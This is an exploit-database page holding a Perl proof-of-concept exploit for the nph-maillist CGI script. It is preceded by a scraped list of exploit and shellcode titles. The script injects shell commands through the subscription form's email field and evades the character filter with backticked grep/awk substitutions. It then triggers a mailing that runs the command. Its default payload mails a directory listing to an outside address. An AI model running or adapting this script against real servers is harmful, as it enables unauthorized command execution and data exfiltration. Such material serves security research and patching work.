
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
107 lines
No EOL
3.9 KiB
Perl
Executable file
107 lines
No EOL
3.9 KiB
Perl
Executable file
source: https://www.securityfocus.com/bid/2563/info
|
|
|
|
nph-maillist is a Perl CGI script that handles mailing lists, typically used to notify interested users of site updates. A hostile user can enter commands embedded in an email address via the subscription form, and then force a mailing which will execute the commands.
|
|
|
|
#!/usr/bin/perl
|
|
# nph-maillist hack... Kanedaaa [ kaneda@ac.pl ]
|
|
# its add crazy @email, sends mails, and execute our code of coz ;]
|
|
#
|
|
# greetzzz to all of Bohatery... [Breslau Kilerz, Lam3rz, my Mom, dog,
|
|
# hamster... maybe this is not hamster..., wine, SobiechOS, wine, Cucumber
|
|
# Team Members... yeah. i must go sleep. ;]
|
|
# and #phreakpl, #hackingpl :]
|
|
#
|
|
# . remember thats just simple sploit... You cant play in koules this.. ;]
|
|
use Socket;
|
|
|
|
# Ip...
|
|
$ip="127.0.0.1";
|
|
|
|
# Command to run ...
|
|
$command = 'ls -al|mail ssie@bigbrother.pl';
|
|
|
|
#################################################
|
|
if (!$ARGV[0]) {
|
|
print "....nph-maillist hack... Kanedaaa [kaneda\@ac.pl]\n";
|
|
print ".........Use the force, edit source...[ ip & command ]\n";
|
|
print "\n";
|
|
print "1:./nph-maillist-ogorek.pl send - add our special \@email to the list.\n";
|
|
print "2:./nph-maillist-ogorek.pl hack - sends emails from list and execute our code.\n";
|
|
}
|
|
|
|
if ($ARGV[0] eq "send") { &send }
|
|
if ($ARGV[0] eq "hack") { &hack }
|
|
|
|
|
|
sub send
|
|
{
|
|
###########################################
|
|
# You cant add this BAD chars... but we can hack this ;]
|
|
#" " ")" "(" ":" "/" "\" "http:"
|
|
###########################################
|
|
# Hack the "/" problem... change "/" -> `head -n1 nph-maillist.pl|cut -c3`
|
|
#
|
|
$command =~ s/\//`head -n1 nph-maillist.pl|cut -c3`/g;
|
|
#
|
|
# Hack the ":" problem... change ":" -> `grep ntent-type nph-maillist.pl|tail -n1|awk -F "type" {'print $2'}|cut -c1`
|
|
#
|
|
$command =~ s/:/`grep ntent-type nph-maillist.pl|tail -n1|awk -F "type" {'print \$2'}|cut -c1`/g;
|
|
#
|
|
# Hack the "\" problem... change "\" -> `grep BGCOLOR nph-maillist.pl|tail -n1|awk -F "=" {'print \$2'}|cut -c1`
|
|
#
|
|
$command =~ s/\\/`grep BGCOLOR nph-maillist.pl|tail -n1|awk -F "=" {'print \$2'}|cut -c1`/g;
|
|
#
|
|
# Hack the "(" problem... change "(" -> `grep scalar nph-maillist.pl|tail -n1|awk -F "scalar" {'print \$2'}|cut -c1`
|
|
#
|
|
$command =~ s/\(/`grep scalar nph-maillist.pl|tail -n1|awk -F "scalar" {'print \$2'}|cut -c1`/g;
|
|
#
|
|
# Hack the ")" problem... change ")" -> `grep unlink nph-maillist.pl|awk -F "jobx" {'print \$2'}|cut -c1`
|
|
#
|
|
$command =~ s/\)/`grep unlink nph-maillist.pl|awk -F "jobx" {'print \$2'}|cut -c1`/g;
|
|
|
|
|
|
###
|
|
# Change ascii to hex...
|
|
$command =~ s/([^\w\!*-])/sprintf("%%%02X",ord($1))/ge;
|
|
#
|
|
# Hack the " " problem... change " " -> "\t" [TAB]
|
|
$command =~ s/%20/%09/g;
|
|
|
|
$r = int(rand(100000));
|
|
$command = "$r\@bigbrother.pl;".$command;
|
|
|
|
$parms="emailaddress=$command";
|
|
$tosend="GET /cgi-bin/nph-maillist.pl?$parms HTTP/1.0\r\n".
|
|
"Referer: http://$ip/cgi-bin/nph-maillist.pl\r\n\r\n";
|
|
|
|
print sendraw($tosend);
|
|
|
|
print "If server return some ...adding %trash% to the email list...\n";
|
|
print "Now run with hack parametr...Peace\n";
|
|
}
|
|
|
|
sub hack
|
|
{
|
|
$tosend="GET /cgi-bin/mailengine.pl HTTP/1.0\r\n".
|
|
"Referer: http://$ip/cgi-bin/nph-maillist.pl\r\n\r\n";
|
|
|
|
print sendraw($tosend);
|
|
|
|
print "... Theoretical You are haker... \n";
|
|
|
|
}
|
|
|
|
#####################################################
|
|
# Ripped from some RFP code... :]] I will infuse good Tea for You...
|
|
# I`am the best Infuser of Tea in .pl ... :]
|
|
sub sendraw {
|
|
my ($pstr)=@_; my $target;
|
|
$target= inet_aton($ip) || die("inet_aton problems");
|
|
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
|
|
die("Socket problems\n");
|
|
if(connect(S,pack "SnA4x8",2,80,$target)){
|
|
select(S); $|=1;
|
|
print $pstr; my @in=<S>;
|
|
select(STDOUT); close(S);
|
|
return @in;
|
|
} else { die("Can't connect...\n"); }} |